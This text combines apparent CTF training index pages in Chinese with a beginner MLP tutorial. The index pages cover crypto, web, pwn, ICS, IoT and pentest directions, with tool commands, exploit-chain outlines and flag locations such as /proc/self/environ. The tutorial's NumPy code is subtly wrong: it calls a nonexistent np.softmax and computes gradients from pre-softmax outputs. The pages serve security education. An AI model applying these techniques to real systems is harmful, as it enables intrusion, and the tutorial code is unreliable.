非对称 RSA · ElGamal · DSA · ECC · 非对称密码 · 离散对数 · 密钥交换 · 格密码
哈希与签名 MD5 · SHA1 · FNV · 电子签名
随机数与求解 LCG · MT19937 · Z3 · 数理

环境与工具基线

bash
pip install pycryptodome z3-solver sympy gmpy2 hashpumpy fpylll py_ecc
apt install hashcat sagemath        # SageMath 用于 ECC/Coppersmith/格
python RsaCtfTool.py -n <n> -e <e> --uncipher <c>   # RSA 自动化攻击套件

通用解题流程

  1. 识别类型:密文形态(base64/hex/数字串)、给出的参数(n,e / c,p,q / 签名)。
  2. RSA 先做体检:位长、e 大小、N 可否分解(factordb/yafu/RsaCtfTool)。
  3. 对称/流密码找"预言机":服务端是否返回解密结果、padding 合法性、长度变化。
  4. PRNG 题先问:种子从哪来(时间?用户输入?)、泄露了多少输出。
  5. 解出明文后检查 flag 格式;m 可能是逐字符拆开、分层加密或与密钥异或的复合结构。

Hc Skill Ds Index (`docs/hc-skill/ds/index.md`)


comments: true

DS - 数据安全

方向技能索引。目标为数据全生命周期安全(分类分级、传输、存储、使用、泄露防护、隐私、销毁)的考察与攻防时从本索引路由。数据相关的具体漏洞技术(注入/穿越/泄露)→ WEB;数据恢复技术 → Misc-取证。

知识域路由表

知识域 触发特征
信息搜集 数据识别、分类分级、资产盘点
数据传输 传输加密与协议安全
数据存储 数据库/文件系统安全
数据使用 访问控制、脱敏、生命周期
数据泄露防护 泄露检测/响应/追踪
隐私保护 个人信息保护与合规
数据销毁 数据清洗、擦除、验证

Hc Skill Eth Index (`docs/hc-skill/eth/index.md`)


comments: true

ETH - 区块链安全

方向技能索引。目标为智能合约、链上交易、钱包/DApp 时从本索引路由。区块链基础教学( Move 语言入门等)见主站 blockchain 章节。

知识域路由表

知识域 触发特征
信息搜集 链上侦察:合约代码、账户画像
交易分析 calldata/事件/交易模式审计
智能合约 合约漏洞利用:重入/溢出/权限/代理

环境基线

bash
# 框架:foundry(forge cast anvil)、hardhat、remix(在线)
# CTF 平台形态:ethernaut、damnvulnerabledefi、paradigm-ctf
# 工具:slither(静态审计)、echidna/mythril(fuzz/符号)、tenderly(tx 调试)
cast call <addr> "functionName()" --rpc-url $RPC   # cast 命令行交互

Hc Skill Ics Index (`docs/hc-skill/ics/index.md`)


comments: true

ICS - 工控安全

方向技能索引。目标为 PLC、SCADA、DCS、工业协议(Modbus/S7/DNP3/OPC UA)、工控组态软件时从本索引路由。工控类 CTF(强网杯工控赛道、"信创杯"、ICS 三大件)以协议分析与控制逻辑篡改为核心。

知识域路由表

知识域 触发特征
信息搜集 设备/拓扑/协议识别
网络通信 工业协议流量与中间人
设备漏洞 固件、默认口令、设备后门
逻辑漏洞 PLC 程序/组态/控制逻辑篡改
物理安全 硬件接口、旁路攻击
补丁管理 补丁缺失与回退
安全监控 工控入侵检测与日志
安全策略 分段、访问控制策略
供应链安全 组件与供应链投毒
恶意代码分析 工控恶意样本(震网族)

环境基线

bash
nmap --script modbus-discover -p 502 <ip>     # Modbus 发现
# 协议分析:Wireshark 自带 Modbus/S7/DNP3/IEC104 解析
# PLC 仿真:OpenPLC、Snap7、pymodbus;组态:OpenPCS、CODESYS(仿真节点)
# 工具:SCADAShutdownPack、PLCscan、isfs(西门子)

Hc Skill Iot Index (`docs/hc-skill/iot/index.md`)


comments: true

IOT - 物联网安全

方向技能索引。目标为智能设备、固件、无线协议、嵌入式系统时从本索引路由。固件逆向的汇编细节 → Reverse;设备服务的 Web 面 → WEB。

知识域路由表

知识域 触发特征
信息搜集 设备/固件/协议/无线信号侦察
固件分析 提取、解包、逆向、补丁、签名、解密
网络安全 设备服务扫描、协议漏洞、中间人
无线安全 Wi-Fi/BLE/Zigbee/NFC/RF
设备漏洞 默认口令、命令注入、溢出、提权

环境基线

bash
binwalk -Me firmware.bin          # 固件解包
firmware-mod-kit / FMK            # 改包重打包
file  ***; strings; qemu-user     # 架构识别与模拟
# 硬件:逻辑分析仪、万用表、UART/JTAG/SPI 读写器(CH341A、FlashCat)

Hc Skill Ir Index (`docs/hc-skill/ir/index.md`)


comments: true

IR - 应急响应

方向技能索引。目标是排查"主机/网络已被入侵"类场景(国内各类应急响应赛、护网行动场景)时从本索引路由。取证技术细节 → Misc-取证;webshell 流量还原 → Misc-WEB流量分析。

知识域路由表

知识域 触发特征
日志分析 从系统/应用日志找入侵痕迹
流量分析 从流量还原攻击与外带
入侵排查 主机侧排查:进程/账户/持久化/后门

排查总流程

  1. 明确场景:Webshell?勒索?挖矿?后门?——不同场景排查清单不同。
  2. 保护现场:快照/镜像先行(内存优先于磁盘),断网决策评估。
  3. 主机排查(→ 入侵排查):进程、网络连接、账户、启动项、计划任务、webshell。
  4. 日志分析(→ 日志分析):时间线还原,找攻击入口与动作。
  5. 流量分析(→ 流量分析):C2 通信、数据外带、横向移动路径。
  6. 产出:攻击路径报告 + IOC + 处置建议(清除/加固)。

Hc Skill Misc Index (`docs/hc-skill/misc/index.md`)


comments: true

MISC - 安全杂项

方向技能索引。隐写、取证、流量、编码、压缩包、日志、无线电,以及 pyjail/沙箱逃逸类杂题从本索引路由。目标若以解密为核心 → Crypto;以突破 Python 沙箱为核心 → 本方向 misc 兼容,国际惯例 pyjail 亦常单列。

知识域路由表

分组 知识域
文件与编码 文件结构 · 数据及编解码转换 · 压缩包分析
隐写 图片隐写 · 音频隐写 · 视频隐写 · 文档隐写 · 其他隐写 · 条码分析
流量与信号 WEB流量分析 · USB流量分析 · 其他流量分析 · 无线电信号分析
取证与日志 取证 · 日志分析
OSINT 信息搜集类 OSINT 题归入各隐写/流量页的转向提示;深度情报题暂以通用流程处理

通用解题流程

  1. 文件体检:file、binwalk、010 Editor 看魔数与结构完整性。
  2. 分类:像图片走隐写、像压缩包走 archive、像流量包走 traffic、像磁盘/内存走取证。
  3. 每个知识域页都有"识别特征 + 工具链 + 常见套路",按页加载。
  4. Misc 大忌:不试就猜。工具先跑一轮(strings/binwalk/zsteg/steghide)再人工。

Hc Skill Pen Index (`docs/hc-skill/pen/index.md`)


comments: true

PEN - 渗透测试

方向技能索引。目标为完整渗透链路(授权攻击评估:外网打点、内网渗透、域攻防、后渗透)时从本索引路由。具体漏洞技术 → WEB/Pwn;护网/应急场景 → IR。

知识域路由表

知识域 触发特征
信息搜集 打点前侦察:扫描、枚举、指纹
漏洞利用 漏洞验证与武器化
后渗透 提权、横向、持久化、隧道
社会工程 人的攻击面:钓鱼、物理、社工

通用渗透流程

  1. 授权确认(范围/时间/红线)——渗透的第一步永远是授权边界。
  2. 信息搜集(→ info-gathering):资产测绘 → 指纹 → 攻击面清单。
  3. 漏洞发现与利用(→ exploitation):由面到点,单点突破。
  4. 后渗透(→ post-exploitation):立足点 → 提权 → 横向 → 目标达成 → 痕迹管理。
  5. 报告:漏洞(可复现步骤/PoC)+ 风险评级 + 修复建议。

Hc Skill Pwn Index (`docs/hc-skill/pwn/index.md`)


comments: true

PWN - 二进制安全

方向技能索引。目标为原生二进制内存破坏、解释器/VM 漏洞、内核漏洞时从本索引路由。不要用于:纯静态逆向找 key(转 Reverse)、HTTP 应用漏洞(转 WEB)。

知识域路由表

知识域 触发特征
内存破坏漏洞 溢出/越界/未初始化类基础 bug
栈漏洞利用 栈溢出 + ret2xxx / ROP / SROP
堆漏洞利用 菜单堆题、glibc 分配器、House of X
格式化字符串 printf 用户可控格式串
IO_FILE利用 FSOP、stdout 劫持(glibc 2.34+ 主流)
逻辑漏洞 条件竞争/类型混淆/鉴权/整数语义
Linux内核漏洞利用 题目给 boot 镜像/initramfs
异构PWN ARM/MIPS/RISC-V/m68k 等非 x86

环境基线

bash
pip install pwntools; apt install gdb
git clone https://github.com/pwndbg/pwndbg && cd pwndbg && ./setup.sh   # 或 gef / pwn-dbg
patchelf --set-interpreter /lib64/ld-2.31.so --set-rpath . ./pwn        # 本地 libc 对齐
one_gadget libc.so.6; ROPgadget --binary ./pwn; seccomp-tools dump ./pwn
checksec ./pwn    # 第一步永远是 checksec

通用解题流程

  1. checksec:看 NX/PIE/Canary/RELRO/fortify 决定技术树。
  2. 试运行 + 读反编译:找输入点(数组、菜单、printf、read)。
  3. 判定漏洞类:溢出/格式串/UAF/整数 → 进对应知识域。
  4. 确认 libc 版本(字符串、__libc_start_main 偏移、libc-database)。
  5. 写 exploit:先本地打通 → 迁移远端(地址偏移、libc、缓冲对齐)。

常见保护与对策

保护 对策
NX ROP / ret2libc / shellcode 写入后 mprotect
PIE 泄露代码段地址;PIE 低 12 位不变(同页单字节改)
Canary 泄露 canary(格式串/ fork 逐字节爆)或绕过(覆盖 LSB)
Full RELRO 改 __free_hook(glibc<2.34)/ FSOP / exit handlers / ret2dl-resolve(部分 RELRO)
seccomp orw(read-open-write)/ openat2 / RETF 降架构 / x32 ABI 别名

Hc Skill Reverse Index (`docs/hc-skill/reverse/index.md`)


comments: true

REVERSE - 逆向工程

方向技能索引。目标是还原独立可执行文件/固件/字节码的算法与逻辑时从本索引路由。不要用于:内存破坏型利用(转 Pwn);题目只需解码数据(转 Crypto/Misc)。

知识域路由表

分组 知识域
基础 逆向分析基础 · 低级语言分析 · 高级语言逆向 · 可执行文件逆向
对抗 静态分析对抗 · 动态调试对抗 · 异常处理 · 代码注入
平台 GUI程序逆向 · Python程序逆向 · Android程序逆向 · Golang程序逆向 · Rust程序逆向
综合 加密与解密

环境基线

bash
# 反编译:IDA Pro / Ghidra / Binary Ninja / dogbolt.org(在线多编译器对比)
# 调试:x64dbg(Windows)、gdb+pwndbg(Linux)、lldb、Frida
# 动静态辅助:angr(符号执行)、Unicorn(模拟)、Qiling(全系统模拟)、DynamoRIO/Pin(插桩)
pip install angr unicorn qiling frida-tools

通用解题流程

  1. file/DIE 识别:格式(PE/ELF/Mach-O/APK/固件)、架构、是否壳/混淆。
  2. 静态首轮:字符串窗口找提示;main/WinMain 定位;导入表找敏感 API。
  3. 拖入反编译:恢复伪代码语义;识别加密常量(S盒、魔数)。
  4. 遇对抗(花指令/反调试/VM)→ 先解对抗再读逻辑。
  5. 三种落地:直接逆算法手写解密 / patch 后运行 / 约束求解(angr/Z3)。

Hc Skill Web Index (`docs/hc-skill/web/index.md`)


comments: true

WEB - Web安全

方向技能索引。目标以 HTTP 应用、API、浏览器客户端、模板引擎、身份认证流为主界面时,从本索引路由到对应知识域技能。不要用于:原生二进制内存破坏(转 Pwn)、独立可执行文件逆向(转 Reverse)、纯密码分析(转 Crypto)、磁盘/内存取证(转 Misc)。

知识域路由表

知识域 技能文件 触发特征
信息搜集 info-gathering 需要侦察:目录、子域、备份、源码、指纹
HTTP请求 http-request 协议层考点:头伪造、走私、缓存投毒、解析差异
暴力破解 brute-force 存在可枚举的口令/token/验证码
文件泄露 file-leak .git/备份/.env 暴露在 Web 根
SQL注入 sql-injection 报错、回显异常、过滤绕过类数据库交互
NoSQL注入 nosql MongoDB/Redis/ArangoDB 等非关系型后端
XSS xss 有 admin bot / 富文本渲染 / DOM 操作
CSRF csrf 状态变更操作无防护、JSONP、GraphQL
XXE xxe XML/Office/SVG 解析入口
SSRF ssrf 服务端可指定 URL:webhook、导入、内网探测
文件上传 file-upload 上传入口,考扩展名/内容/解析绕过
逻辑漏洞 logic-vuln 越权、IDOR、条件竞争、业务状态机
认证绕过 auth-bypass JWT/Cookie/OAuth/SAML/会话伪造
语言专题 js php python java node ruby go 指纹识别出对应语言栈后加载
Windows相关 windows IIS/Aspx/NTFS/域环境

通用起手流程

  1. 判定信任边界:纯前端、纯后端、混合应用还是认证流。
  2. 每个主要功能先抓一对正常请求/响应,再开始 fuzz。
  3. 从 JS bundle、响应头、路由、HTTP 方法枚举隐藏功能。
  4. 给 bug 归类:注入 / 越权 / 解析器分歧 / 上传 / 代理信任 / 状态机 / 客户端执行。
  5. 先构造最小原语(泄露一个文件、伪造一个 token、触发一次 bot 访问),再考虑完整利用链。

常见利用链形态

  • 侦察 → 隐藏路由 → 越权 → 内部文件读取 → token/flag
  • XSS/HTML 注入 → admin bot → 特权操作 → 秘密泄露
  • 穿越/上传 → 配置或源码泄露 → key 恢复 → 会话伪造
  • SSRF → metadata 或内网 API → 凭据泄露 → RCE
  • SQLi/NoSQLi → 登录绕过 → 二阶段模板或上传利用

常见 flag 位置

  • 文件:/flag.txt、/flag、/app/flag.txt、/home/*/flag*
  • 环境:/proc/self/environ、进程命令行、调试配置导出
  • 数据库:flag、secret 表或种子数据
  • HTTP:自定义头、归档响应、隐藏路由、管理员导出
  • 浏览器:隐藏 DOM、data-* 属性、内联状态对象、source map

Hc Ai MLP (`docs/hc-ai/MLP.md`)

你的第一个神经网络

神经网络是当前机器学习领域普遍所应用的,例如可利用神经网络进行图像识别、语音识别等,从而将其拓展应用于自动驾驶汽车。它是一种高度并行的信息处理系统,具有很强的自适应学习能力,不依赖于研究对象的数学模型,对被控对象的系统参数变化及外界干扰有很好的鲁棒性,能处理复杂的多输入、多输出非线性系统,神经网络要解决的基本问题是分类问题 。

我们的第一个神经网络选择 基于 BP 误差反向传播法的 MLP 神经网络模型 。

前置导引

朴素感知机

感知机是由美国学者 FrankRosenblatt 在 1957 年提出来的。感知机是作为神经网络(深度学习)的起源的算法。因此,学习感知机的构造也就是学习通向神经网络和深度学习的一种重要思想。
感知机接收多个输入信号,输出一个信号。这里所说的“信号”可以想象成电流或河流那样具备“流动性”的东西。像电流流过导线,向前方输送电子一样,感知机的信号也会形成流,向前方输送信息。但是,和实际的电流不同的是,感知机的信号只有“流/不流”(1/0)两种取值。这里我们认为 0 对应“不传递信号”, 1 对应“传递信号”。

!!! attention "现在是数学时间!"

text
这里有很多的点,其中一部分的位置如图所示,你能找出一条直线,尽可能多的将所有的点(包括还没画出的)分开吗?对了,记得给我他的函数式。

<figure markdown>
    { width="300" }
</figure>

让我们假设这条直线的方程是 $f(x,y) = ax+by+c$,小学二年级学过的知识告诉我们,对于给出的每一个点 $(x , y)$, 代入直线方程后根据结果大小来判断他和直线的位置关系。因此,我们可以把这个过程抽象为下面的感知机:

{ width="50%" }

我们还可以把整个感知机抽象为下面的数学模型。

$$
Output = \left{\begin{matrix}
Red, f(x, y)> 0\
Green, f(x, y)< 0\end{matrix}\right.
$$

如你所见,最简单的感知机就是将输入进行处理得到中间结果,再将结果经过非线性函数处理输出。一般的,我们也把上述的模型称为 神经元 。

神经网络

神经网络的灵感取自于生物上的神经元细胞,如下图所示:

这是人体神经元的基本构成,其中树突主要用于接收其他神经元的信号,轴突用于输出该神经元的信号,数以万计的神经元相互合作,使得我们人类能够进行高级的思考,能够不断地对新事物进行学习。因此,我们就希望仿照人类神经网络的结构,搭建一种人为的神经网络结构,从而使其能够完成一些计算任务,这也是神经网络名字的由来。

神经网络中计算的基本单元是 神经元 ,一般称作「节点」(node)或者「单元」(unit)。每个节点可以从其他节点接收输入,或者从外部源接收输入,然后计算输出。每个输入都各自的「权重」(weight,即 w),用于调节该输入对输出影响的大小,节点的结构如图所示:

其中 x1, x2 作为该节点的输入,其权重分别为 w1 和 w2。同时,还有配有「偏置 b」(bias)的输入 ,偏置的主要功能是为每一个节点提供可训练的常量值(在节点接收的正常输入以外)。

多层感知机

多层感知机(Multilayer Perceptron)缩写为 MLP,也称作前馈神经网络(Feedforward Neural Network)。它是一种基于神经网络的机器学习模型,通过多层非线性变换对输入数据进行高级别的抽象和分类。

在上面的例子中,我们假定了直线的方程式为 $f(x)=ax+by+c$,但如果是一些复杂的情况,我们可能无法通过简单的数学计算找到对应的函数。但与单层感知机相比,MLP 有多个隐藏层,每个隐藏层由多个神经元组成,每个神经元通过对上一层的输入进行加权和处理,再通过激活函数进行非线性映射。这样我们便可以表达这个抽象的映射关系。

基本结构

下图显示了一个最典型的 MLP,它包括三层: 输入层、隐层(全连接层)和输出层 (全连接的意思就是:上一层的任何一个神经元与下一层的所有神经元都有连接)。

它的工作分为两部分:

  • 前向传播 :输入数据被馈送到输入层,然后传递到隐藏层,并最终生成输出层的输出。每一层的每一个神经元都会计算其加权输入和非线性激活函数的输出。

  • 反向传播 :在训练过程中,输出与期望的输出进行比较,产生一个误差值。这个误差随后被反向传播到网络中,权重得到相应的更新。

因为参与运算的各元素都是 矩阵 ,我们可以使用 Numpy 来构造一个三层的 MLP:

python
import numpy as np

class BPNetwork_Numpy:
    def __init__(self):
        self.weights = {
            'fc1': np.random.randn(128, 28 * 28),
            'fc2': np.random.randn(64, 128),
            'fc3': np.random.randn(10, 64)
        }
        self.biases = {
            'fc1': np.random.randn(128),
            'fc2': np.random.randn(64),
            'fc3': np.random.randn(10)
        }

**为什么需要引入隐藏层?**

  1. 模型复杂性和表示能力 :隐藏层增加了网络的容量,使其能够学习并表示更复杂的函数。理论上,一个单隐藏层的神经网络可以近似任何连续函数,但在实践中,增加更多的隐藏层可以更容易(需要更少的神经元)地近似这些函数,并且可以更高效地学习。
  2. 层次化特征学习 :深度网络(有多个隐藏层的网络)可以学习层次化的特征。例如,在图像识别中,第一层可能会学习边缘和纹理,第二层可能会学习更复杂的结构(如形状或模式),以此类推。这种层次化的表示使得网络能够更有效地捕捉数据的内在结构。
  3. 非线性堆叠 :通过引入多个隐藏层并在每个层之后应用非线性激活函数,网络可以表示更复杂的非线性函数。这增加了模型对各种数据分布和关系的灵活性。
  4. 降低参数数量 :与一个非常宽的单隐藏层相比,深度结构可以用较少的总参数来实现同样的模型容量。这可以提高计算效率,并可能减少过拟合的风险。
  5. 实际成功案例 :在许多实际的机器学习任务中,深度神经网络(带有多个隐藏层)已经表现出比浅层网络更好的性能。例如,深度学习模型已经在图像识别、语音识别、机器翻译等任务中取得了突破性的结果。

总的来说,隐藏层提供了网络更多的能力和灵活性来学习和逼近复杂的关系和数据结构。当然,引入太多的隐藏层和神经元也可能导致模型的过拟合,因此需要采用适当的正则化策略来平衡模型的容量和训练数据的数量。

计算方式

让我们把上面的 MLP 细节化:

在一般情况下,参与运算的各元素都是 矩阵,其中的蓝色方块代表着 激活函数,绿色方块代表着 权重 Weight 和 偏置 Bias 。需要注意的是, 权重和偏置对应上图中不同神经元的连线,例如 1-> 3 和 1-> 4 的参数不同。详细计算方式如下图及下式:

在分类问题中,最后的输出层元素个数一般等于分类数目,最终的结果代表着该输入被这个 MLP 分为某一类的可能性大小,指越大,代表越可能属于该类。为了便于观测,我们通常使用 softmax 函数将上一层的原始数据进行归一化,转化为一个$(0,1)$之间的数值,这些数值可以被当做概率分布,用来作为多分类的目标预测值。

同样的,我们可以使用 Numpy 帮我们完成计算(向前传播)部分:

python
def forward(self, x):
        x = x.flatten()
        self.layer1_output = np.dot(self.weights['fc1'], x) + self.biases['fc1']
        self.layer1_activation = np.maximum(0, self.layer1_output)
        self.layer2_output = np.dot(self.weights['fc2'], self.layer1_activation) + self.biases['fc2']
        self.layer2_activation = np.maximum(0, self.layer2_output)
        self.layer3_output = np.dot(self.weights['fc3'], self.layer2_activation) + self.biases['fc3']
        return np.softmax(self.layer3_output)

其中,np.dot()函数提供了矩阵乘法,np.maximum()作为我们的激活函数,最后的 np.softmax()用来输出数据转化为概率,方便我们观测结果。

激活函数

!!! question "什么?你有问题?"
“到这里,可能有同学要问了,为什么要有激活函数?(上图中的 f(x) ,引例中的 是否大于 0 )”

text
“谁问你了(×”

“我们来看下面这幅图片,对于下面这样更偏向于现实的情况,你还能找出一条 **直线**,尽可能多的将所有的点(包括还没画出的)分开吗?”

{ width="50%" }

很明显,直线是无法做到的,也就意味着,仅有线性函数无法处理复杂问题。使用激活函数,能够给神经元引入非线性因素,使得神经网络增加了模型的表示能力,能够捕捉到数据中更复杂的模式和关系,这样神经网络就可以利用到更多的现实复杂模型中。

{ width="67%" }

其次,处理复杂问题时,仅靠一个神经元是远远不够的,我们更多的是使用多层感知机,不妨来看下面的推导:

$$
\begin{align}
&f_1(x) = a_1x+b_1\
&f_2(x) = a_2f_1(x)+b_2\
&f_i(x) = a_if_{i-1} (x)+bi\
&其中的 f(x)均为线性函数,由数学归纳法可得 n 层感知机的输出\
& \left{\begin{matrix}
Bias = \sum_{k = 1}^{n}\prod_{j = 1}^{k-1}a_j \cdot b_k \
Weight = \prod_{k = 1}^{n}a_{k}\
Output = Weight \cdot x + Bias
\end{matrix}\right.
\end{align}
$$

我们可以看到最后的 Output 表达式和一个神经元的别无两样,因此 如果不使用激活函数,每一层输出都是上层输入的线性函数,无论神经网络有多少层,输出都是输入的线性组合。

常见的激活函数我们会在另一章节详细讲解。

图片的另一种形态

了解了什么是 MLP,每一层如何计算,输出是怎么样的,我们再来思考一下输入,如何把一张图片塞到计算机中?

!!! question "从 misc 看图片"
如果让你向一位视力障碍人来描述一幅图片,你会怎样去描述它?物体和他们的属性、风格、情感、布局

text
如果是想计算机呢,你又该怎么去描述它?

每一张图片,我们都可以看作是几个二维矩阵的叠加(ARGB-4 个,RGB-3 个,L-1 个),如下图这张黑白图片所示,每个 x,y 所对应的点都具有自己的值,我们通过归一化将他们从 0-255 整型数映射到 0.0-1.0 的浮点数,颜色越淡(白),值越大。这样,我们可以把每一张图片拆为一个 n 维矩阵。通过这样的方式,我们可以把我们的视觉和计算机的数据联系起来,然后通过一些方式进行计算。

因此对于一张 28 * 28 的灰度图像,我们可以将他* 展平 flatten *为一个 28 * 28 = 784 个元素的矩阵

{: style='width: 100%'}

紧接着,用我们上面讲到的知识,将这个矩阵放到 MLP 中进行计算,得到最后的输出,选择最大值的下标作为它的预测结果。下图中亮起的神经元代表某次计算中,输出经过激活函数后激活了。

!!! note "骚话环节"

text
怎么样?经过可视化后,现在是不是好理解多了?那快夸夸 Cain 宝(×

BP 误差反向传播法

!!! question "如何训练呢?"

text
“那么我该如何训练我自己的 MLP 呢?”

“谁问你了...”

“我问的!(举手”

下图简要的展示了反向传播算法的核心概念,大致来说:通过比较现实输出与期望输出之间的差异,根据差异来反向更新每一层的参数,从而使现实输出更加贴近于期望输出。

!!! quote "多一行公式,少一个观众"

text
~~为什么要大致的说呢,因为我猜下面的推导没有人看(bushi~~

数学推导过程

损失对参数梯度的反向传播可以被这样直观解释:由 A 到传播 B,即由 $\partial L/\partial A$ 得到 $\partial L/\partial B$ ,由导数链式法则 $\partial L/\partial B=(\partial L/\partial A)\cdot(\partial A/\partial B)$。所以神经网络的 BP 就是通过链式法则求出 $L$ 对所有参数梯度的过程。

如下图示例,输入 $x$ ,经过网络的参数 $w,b$ ,得到一系列中间结果 $a,h$ 。

$a$ 表示通过权重和偏置的结果,还未经过激活函数, ℎ 表示经过激活函数后的结果。灰色框内表示 $L$ 对各中间计算结果的梯度,这些梯度的反向传播有两类:

  • 由 $h$到$a$ ,通过激活函数,如右上角

$$
\begin{aligned}\frac{\partial l}{\partial a_{21}}&=\frac{\partial l}{\partial h_{21}}\cdot\frac{\partial h_{21}}{\partial a_{21}}=\frac{\partial l}{\partial h_{21}}\cdot activate'(a_{21})\end{aligned}
$$

  • 由到$a$到$h$ ,通过权重,如橙线部分
    $$
    \begin{gathered}
    L = f(a_{21}, a_{22}, a_{23}) \
    \frac{\partial L}{\partial h_{11}}=\frac{\partial L}{\partial a_{21}}\frac{\partial a_{21}}{\partial h_{11}}+\frac{\partial L}{\partial a_{22}}\frac{\partial a_{22}}{\partial h_{11}}+\frac{\partial L}{\partial a_{23}}\frac{\partial a_{23}}{\partial h_{11}} \
    \frac{\partial L}{\partial h_{11}}=\frac{\partial L}{\partial a_{21}}w_{1}+\frac{\partial L}{\partial a_{22}}w_{2}+\frac{\partial L}{\partial a_{23}}w_{3}
    \end{gathered}
    $$
    可以看出梯度的传播和前向传播的模式是一致的,只是方向不同。

    计算完了灰色框的部分(损失对中间结果 $a,h$ 的梯度),损失对参数 $w,b$ 的梯度也就显而易见了,以图中红色的 $w_1$ 和 $b_{21}$ 为例:
    $$
    \begin{aligned}\frac{\partial L}{\partial w_1}&=\frac{\partial L}{\partial a_{21}}\cdot\frac{\partial a_{21}}{\partial w_1}=\frac{\partial L}{\partial a_{21}}\cdot h_{11}\\\frac{\partial L}{\partial b_{21}}&=\frac{\partial L}{\partial a_{21}}\cdot\frac{\partial a_{21}}{\partial b_{21}}=\frac{\partial L}{\partial a_{21}}\end{aligned}
    $$

    因此,我们可以如下图,将反向传播的表达式和代码如下。

输出层的反向传播略有不同,因为在分类任务中输出层若用到 softmax 激活函数, $a$ 到 $h$ 不是逐个对应的,如下图所示,因此 $\partial L/\partial B=(\partial L/\partial A)\cdot(\partial A/\partial B)$ 中的 element-wise 相乘是失效的,需要用 $\partial L/\partial h$ 乘以向量 $h$ 到向量 $a$ 的向量梯度(雅可比矩阵)。

但实际上,经过看上去复杂的计算后输出层 $\partial L/\partial h$ 会计算出一个非常简洁的结果: $h - y $

  • 以分类任务为例(交叉熵损失、softmax、训练标签 $y$ 为 one-hot 向量其中第 $k$​ 维为 1):

    $$
    \begin{gather*}
    L =-\sum_{i = 1}^ny_i\log h_i\
    \frac{\partial L}{\partial\mathrm{a}}= [\frac{\partial L}{\partial h_1}\frac{\partial L}{\partial h_2}\ldots\frac{\partial L}{\partial h_n}]\cdot\begin{bmatrix}\partial h_1/\partial a_1&\partial h_1/\partial a_2&\ldots\partial h_1/\partial a_n\\partial h_2/\partial a_1&\partial h_2/\partial a_2&\ldots\partial h_2/\partial a_n\\ldots\\partial h_n/\partial a_1&\partial h_n/\partial a_2&\ldots\partial h_n/\partial a_n\end{bmatrix}\\
    \left.\frac{\partial L}{\partial\mathrm{a}}= [0,\ldots,-\frac{1}{h_k},\ldots,0]\cdot\left [\begin{matrix}h_1(1-h_1)&-h_1h_2&\ldots&-h_1h_n\h_2h_1&h_2(1-h_2)&\ldots&-h_2h_n\\ldots\h_nh_1&-h_nh_2&\ldots&h_n(1-h_n)\end{matrix}\right.\right]\
    \dfrac{\partial L}{\partial\text{a}}=-\dfrac{1}{h_k}\cdot [\begin{matrix}-h_kh_1&-h_kh_2&\ldots&h_k(1-h_k)&\ldots&-h_kh_n\end{matrix}]\
    \dfrac{\partial L}{\partial\text{a}}= [h_1, h_2,\ldots, h_n]-[0,\ldots,1,\ldots,0] = h-y
    \
    \end{gather*}

    $$

  • 以回归任务为例(二次损失、线性激活、训练标签 $y$ 为实数向量):
    $$
    \begin{gather*}
    L = 1/2\cdot||h-y||_2^2\\
    \frac{\partial L}{\partial\mathrm{a}}=\frac{\partial L}{\partial h}= h-y
    \end{gather*}

    $$

底层实现

同样的,用 numpy 来实现底层的算法,在下面的例子中,我们选择 ReLU 函数作为激活函数:

python
def backward(self, x, y):
        # 计算输出层的梯度
        one_hot_y = np.zeros_like(self.layer3_output)
        one_hot_y[y] = 1
        delta3 = self.layer3_output - one_hot_y

        # 计算第二隐藏层的梯度
        delta2 = np.dot(self.weights['fc3'].T, delta3)
        delta2[self.layer2_output <= 0] = 0  # ReLU的导数

        # 计算第一隐藏层的梯度
        delta1 = np.dot(self.weights['fc2'].T, delta2)
        delta1[self.layer1_output <= 0] = 0  # ReLU的导数

        # 计算权重和偏置项的梯度
        dW3 = np.outer(delta3, self.layer2_activation)
        db3 = delta3
        dW2 = np.outer(delta2, self.layer1_activation)
        db2 = delta2
        dW1 = np.outer(delta1, x.flatten())
        db1 = delta1

        # 更新权重和偏置项
        learning_rate = 0.01
        self.weights['fc3'] -= learning_rate * dW3
        self.biases['fc3'] -= learning_rate * db3
        self.weights['fc2'] -= learning_rate * dW2
        self.biases['fc2'] -= learning_rate * db2
        self.weights['fc1'] -= learning_rate * dW1
        self.biases['fc1'] -= learning_rate * db1

MNIST 数据集

!!! quote "越老越妖"
为什么这次的例子中输入都是 $28*28=784$ 的?为什么是黑白图片,常规的图片不是有三至四个维度吗?

就像无数人从敲下“Hello World”开始代码之旅一样,许多研究员从“MNIST 数据集”开启了人工智能的探索之路。

MNIST 数据集(Mixed National Institute of Standards and Technology database)来自美国国家标准与技术研究所,训练集 (training set) 由来自 250 个不同人手写的数字构成, 其中 50% 是高中学生, 50% 来自人口普查局 (the Census Bureau) 的工作人员. 测试集(test set) 也是同样比例的手写数字数据。是一个用来训练各种图像处理系统的二进制图像数据集,广泛应用于机器学习中的训练和测试。作为一个入门级的计算机视觉数据集,发布 20 多年来,它已经被无数机器学习入门者“咀嚼”千万遍,是最受欢迎的深度学习数据集之一。

整个数据集包含两部分,训练集 和 测试集。训练集 60000 张图像,其中 30000 张来自 NIST 的 Special Database 3,30000 张来自 NIST 的 Special Database 1;测试集 10000 张图像,其中 5000 张来自 NIST 的 Special Database 3,5000 张来自 NIST 的 Special Database 1。

MNIST 原始的 Special Database 3 数据集和 Special Database 1 数据集均是二值图像,MNIST 从这两个数据集中取出图像后,通过图像处理方法使得每张图像都变成 28 × 28 大小的灰度图像,且手写数字在图像中居中显示。

Pytorch 实现与解析

!!! Tip "终于"
上述所有原理看懂了吗?没看懂也没事(×

text
抱着不求甚解的态度来学习在 python 中怎么使用吧,下面就是你擅长的部分了

什么?!你代码也写不好?女孩子请找我,我来教你写;男孩子也可以来找我,我给你一拳,没用的东西

下面的代码使用 pytorch 构造了一个简单的三层(784 --> 128 --> 64 --> 10)MLP,使用了 ReLU 作为激活函数,最后一层通过 softmax 进行归一化,转化为概率分布,我们将依靠 MNIST 这个著名的数据集对它进行训练,并测试我们的模型效果。

text
/* Detailed source-code truncated for AI context efficiency. */

Hc Ai What Is AI (`docs/hc-ai/What_is_AI.md`)

什么是人工智能

概述

" 人工智能(英语:artificial intelligence,缩写为 AI )亦称 机器智能 ,指由人制造出来的机器所表现出来的智能。通常人工智能是指通过普通计算机程序来呈现人类智能的技术。该词也指出研究这样的智能系统是否能够实现,以及如何实现。同时,通过医学、神经科学、机器人学及统计学等的进步,常态预测则认为人类的很多职业也逐渐被其取代。"
--维基百科

人工智能这个词的出现最早可以追溯至1956年的达特茅斯会议。
